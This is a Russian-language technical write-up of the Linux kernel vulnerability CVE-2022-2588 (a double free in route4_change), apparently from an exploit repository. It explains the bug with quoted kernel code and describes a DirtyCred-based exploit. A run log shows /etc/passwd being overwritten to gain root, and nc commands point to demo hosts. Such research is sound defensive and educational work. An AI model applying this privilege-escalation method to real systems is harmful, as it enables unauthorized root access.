
Подробное описание и эксплойт-код для CVE-2022-2588, уязвимости ядра Linux типа use-after-free в route4_change, приводящей к повышению привилегий через double-free и подмену учётных данных.
Ошибка исправлена в Linux v5.19 этим коммитом.
Ошибка была добавлена в Linux v3.17 этим коммитом ещё в 2014 году. Для её срабатывания требуются User Namespaces. Эта ошибка очень похожа на CVE-2021-3715, которая была вызвана некорректной операцией над связным списком route4_filter. Более подробно о CVE-2021-3715 можно узнать из доклада на Black Hat (стр. 16). Ниже приведены краткие подробности CVE-2022-2588.
Ниже показаны некоторые важные фрагменты кода функции route4_change для понимания CVE-2022-2588.
static int route4_change(...)
{
...
f = kzalloc(sizeof(struct route4_filter), GFP_KERNEL); [0]
...
// if there exists a filter with the same handler, copy some information
if (fold) { [1]
f->id = fold->id;
f->iif = fold->iif;
f->res = fold->res;
f->handle = fold->handle;
f->tp = fold->tp;
f->bkt = fold->bkt;
new = false;
}
// initialize the new filter
err = route4_set_parms(net, tp, base, f, handle, head, tb, [2]
tca[TCA_RATE], new, flags, extack);
if (err < 0)
goto errout;
// insert the new filter to the list
h = from_hash(f->handle >> 16); [3]
fp = &f->bkt->ht[h];
for (pfp = rtnl_dereference(*fp);
(f1 = rtnl_dereference(*fp)) != NULL;
fp = &f1->next)
if (f->handle < f1->handle)
break;
tcf_block_netif_keep_dst(tp->chain->block);
rcu_assign_pointer(f->next, f1);
rcu_assign_pointer(*fp, f);
// remove fold filter from the list if fold exists
if (fold && fold->handle && f->handle != fold->handle) { [4]
th = to_hash(fold->handle);
h = from_hash(fold->handle >> 16);
b = rtnl_dereference(head->table[th]);
if (b) {
fp = &b->ht[h];
for (pfp = rtnl_dereference(*fp); pfp;
fp = &pfp->next, pfp = rtnl_dereference(*fp)) {
if (pfp == fold) {
rcu_assign_pointer(*fp, fold->next); [5]// remove the old from the linked list
break;
}
}
}
}
...
// free the fold filter if it exists [6]
if (fold) {
tcf_unbind_filter(tp, &fold->res);
tcf_exts_get_net(&fold->exts);
tcf_queue_work(&fold->rwork, route4_delete_filter_work);
}
Эта функция реализована для инициализации/замены объекта route4_filter. Фильтр использует handle как уникальный идентификатор для различения фильтров. Если уже существует инициализированный ранее обработчик (т.е. переменная fold не равна null), фильтр обновляется путём удаления старого фильтра и добавления нового; в противном случае просто добавляется новый фильтр.
В [0] ядро выделяет объект route4_filter. В [1], если fold не пуст (это означает, что существует фильтр с таким же handle), происходит копирование некоторой информации в новый фильтр, инициализация нового фильтра в [2], а затем вставка нового фильтра в список в [3]. Если старый фильтр существует, он удаляется из списка в [4] и освобождается в [6].
Ошибка находится в [4], где проверяется, существует ли старый фильтр, который нужно удалить. Условие требует, чтобы handle не был нулевым и совпадал с handle нового фильтра. Это условие не совпадает с условием освобождения фильтра в [6], которое проверяет только наличие старого фильтра. Поэтому если пользователь создаёт фильтр с handle, равным 0, а затем вызывает его замену, фильтр не будет отключён от списка в [4], но будет освобождён в [6], поскольку условия не совпадают.
Поскольку эта ошибка похожа на CVE-2021-3715, их примитивы почти одинаковы. Читатели могут обратиться к докладу на Black Hat за более подробным описанием примитивов. В данном разборе показана эксплуатация с использованием идеи DirtyCred.
Поскольку после срабатывания ошибки освобождённый fold всё ещё остаётся в связном списке, мы можем освободить fold ещё раз, что в итоге приведёт к double free объекта route4_filer и объекта route4_filter->exts.action, если включён CONFIG_NET_CLS_ACT.
Код эксплойта использует эти две возможности double free для демонстрации атаки на учётные данные задачи (с использованием double free в kmalloc-192, скоро будет) и учётные данные открытого файла (с использованием double free в kmalloc-256).
Следуя идее DirtyCred, код эксплойта подменяет учётные данные файла после проверок прав доступа, что позволяет записывать произвольное содержимое в файлы, доступные только для чтения. В идеале код должен работать во всех версиях ядра, затронутых ошибкой. Отмечается, что для работы на старых ядрах, где msg_msg изолирован в kmalloc-rcl-*, эксплойт использует другой объект для распыления (spray).
[zip@localhost ~]$ ./exp_file
self path /home/zip/./exp_file
prepare done
Old limits -> soft limit= 14096 hard limit= 14096
starting exploit, num of cores: 32
defrag done
spray 256 done
freed the filter object
256 freed done
double free done
spraying files
found overlap, id : 257, 1061
start slow write
closed overlap
got cmd, start spraying /etc/passwd
spray done
write done, spent 1.621078 s
should be after the slow write
succeed
[zip@localhost ~]$ head -n 4 /etc/passwd
user:$1$user$k8sntSoh7jhsc6lwspjsU.:0:0:/root/root:/bin/bash
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
[zip@localhost ~]$ su user # the password is user
Password:
sh-4.4# id
uid=0(user) gid=0(root) groups=0(root)
Эксплойт был написан так, чтобы работать на максимально возможном количестве дистрибутивов. Было подтверждено, что он работает на:
(Не стесняйтесь отправлять PR, чтобы обновить этот список, если вы обнаружите, что эксплойт работает на других ядрах.)
Пожалуйста, войдите с пользователем low и паролем low
Ubuntu 20
nc 150.136.171.117 1337
Centos 8
nc 150.136.171.117 1338